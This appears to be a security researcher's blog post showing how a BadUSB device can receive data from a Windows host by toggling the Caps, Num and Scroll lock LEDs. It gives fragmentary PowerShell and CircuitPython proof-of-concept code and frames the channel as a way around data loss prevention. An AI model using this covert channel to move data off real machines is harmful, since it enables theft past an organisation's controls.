A BadUSB for DLP

For those who havent heard of them yet; BADUsb's are effectively hardcoded boards which, when connected to a computer, declare themselves as a class akin to a keyboard.

Internals of a BadUSB

Because they are a keyboard, they dont have any methods of communication. As such, when payloads launch, they are effectively spamming the keyboard. They cant see whether something has worked, they cant decide if something else needs to be done if the payload doesnt work properly.

They are however cheap, quick and dirty costing around $10 per unit. Quick to program using Ducky Script and work well when utilised with a gift card style scam

Rare BadUSB Rubber Ducky Attack Attempts to Deliver Unknown Malware
The attack was highly targeted, and deployed a very cunning social engineering trick using a fake gift card and physical media, a “rubber ducky” or badUSB.

Gift Card Scam, Likely executed by FIN7

So we are not here to talk about BadUSBs, we are here to talk about the limitation of BadUSBs. That being, that they cannot communicate with the host using anything other than spamming key strokes.

How Can A Keyboard Establish Two Way Communication

It sounds stupid... but its possible

One thing thats been staring me in the face for an age, is that the Windows host is aware of and controls the caps lock, num lock and scroll lock keys. As a test of this, hit win+r and run "osk". This will open the on screen keyboard.

When you enable the caps lock key on your physical keyboard, the OSK will also light up. When you disable it in OSK, your keyboard light will turn off. The same is also true if you plug in multiple keyboards into one system. Hit Caps, Num or Scroll lock on any of them, and the others will light up.

I hope you can see where im going with this. The host system, is able to signal to a keyboard. Meaning we have a two way communication system!!


POC For Abusing Keyboard Communication

Sending all the bits.... but uber feckin' slowly

So weve established that three keys are host controlled and can be sent to and from a keyboard.

Now we need a project board to make into a keyboard. For this im using an old Adafruit Feather with host controller (host controller is not required for this). Ive configured it to run Circuit Python.

Adafruit Feather RP2040 with Host USB

Now we need a script that can tell when the host controlled scroll keys are set. For this we are using the adafruit_hid project.

For the communication we will be splitting up a test string using Powershell on the host.

1) Scroll lock will be on. Powershell will take two bits and set the caps and num lock in accordance to these bits. It will the turn scroll lock off.

2) When scroll lock turns off, the Feather knows it is its turn to retrieve the data... so it checks the status of caps and num, notes it down, turns them off, then turns scroll lock on.

Loop through one and two until data is transferred.

Powershell Stuff

Setting the lock keys and sending the data

So we start with two basic functions for our Powershell session. A command to create a keyboard object, and a function to check the key status for our lock keys.

# Function to check if a specific key is on
function IsKeyOn($key) {
#Create the keyboard object
$wsh = New-Object -ComObject WScript.Shell

And now we can trigger a lock toggle using:


We can also detect the status of the keys using the "IsKeyOn" function:

$isScrollLockOn = IsKeyOn 'Scroll'
if ($IsScrollLockOn) {
    Write-Host "Scroll Lock Is ON!"
    Write-Host "Scroll Lock Is OFF!"

And now we combine it. The below code does as follows:

1) Takes a string and goes through it letter by letter
2) Convert letter to its binary representation
3) for each two bits it will set the caps and num lock
4) when set it will enable the scroll lock
5) The Feather will then get this data, read the key status, and reset the keys
6) The Posh script will loop until it sees the scroll lock turn off and then go back to step 3

And now for the code...

# Function to check if a specific key is on
function IsKeyOn($key) {
$wsh = New-Object -ComObject WScript.Shell

$isScrollLockOn = IsKeyOn 'Scroll'
if (!$IsScrollLockOn) {
    # Engage scroll lock

# Input string to binary
$inputString = "Hello, World! This is my secret message"

# Iterate over each character in the string
foreach ($char in $inputString.ToCharArray()) {
    # Get the character
    $currentChar = $char

    # Convert the character to ASCII code and then to binary
    $string = [Convert]::ToString([byte]$currentChar, 2).PadLeft(8, '0')

    # Print the character and its binary representation
    Write-Host "Character: $currentChar, Binary: $string"

    for($i=0; $i -lt $string.Length; $i+=2){
        $val = $string.Substring($i, 2)

        while($transfer -eq $false) {
            $isScrollLockOn = IsKeyOn 'Scroll'
            if ($IsScrollLockOn) {
                #WAITING FOR DUMPER 
                Start-Sleep -Seconds 0.1
                # Check caps lock
                $isCapsLockOn = IsKeyOn 'CapsLock'
                if($val[0] -eq "0"){
                    #caps needs to be off
                    if ($isCapsLockOn) {$wsh.SendKeys('{CAPSLOCK}')}
                    } else {
                    #caps needs to be on
                    if (!$isCapsLockOn) {$wsh.SendKeys('{CAPSLOCK}')}}

                $isNumLockOn = IsKeyOn 'NumLock'
                if($val[1] -eq "0"){
                    #numlock needs to be off
                    if ($isNumLockOn) {$wsh.SendKeys('{NUMLOCK}')}
                    } else {
                    #numlock needs to be on
                    if (!$isNumLockOn) {$wsh.SendKeys('{NUMLOCK}')}}

                #Turn on scroll lock to let dumper know its ready
                write-host $val


And Now The Circuit Python

More mess

Now for configuring the HID. As mentioned before we are using Circuit Python on an Adafruit Feather.

This is really just a replication of the Powershell side. Key difference being that its only printing the compiled string as it gets it.

Notable things you need are to install the Adafruit_Hid library onto the board in the Libs directory

And now more code:

import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
import time

# Initialize the keyboard
kbd = Keyboard(usb_hid.devices)
while 1:
    # Is scroll lock on?
        #keys are assumed off
        lockcaps = "0"
        locknum = "0"
        #if key is on change value to one
        if (kbd.led_on(Keyboard.LED_CAPS_LOCK)):
            lockcaps = "1"
        if (kbd.led_on(Keyboard.LED_NUM_LOCK)):
            locknum = "1"

        output = output+lockcaps+locknum
        # Press and release CapsLock.
        #Statement exists solely to timeout if it hears nothing in about 5 seconds
        if i > 50: break
text = ''.join([chr(int(output[i:i+8], 2)) for i in range(0, len(output), 8)])

Executing the Payload

Oh Look..... We Made A Christmas Tree

Now when we load the two together. Turn your scroll lock on and press play on the Powershell window. Its now ready to transfer.

Kick off your Adafruits script and within 5 seconds turn off the scroll lock key. Then watch it print out the received data.


And now you've transferred the data.... you will also notice your keyboard lighting up like a Christmas tree.


Final Results

1 byte per second

Yes, this is one byte per second. This DLP avenue has all the raw throbbing power of a lady shave. To do the math so you dont have to, to transfer 10mb of data using this method, will take just shy of 4 months.

But we have proven the ability to communicate between the devices. This stems into further projects as seen below.


A POC that allows an HID controller to get feedback on commands executed to own a device, as opposed to the BadUSB spamming keystrokes with no feedback. https://github.com/secsi/AutoPwny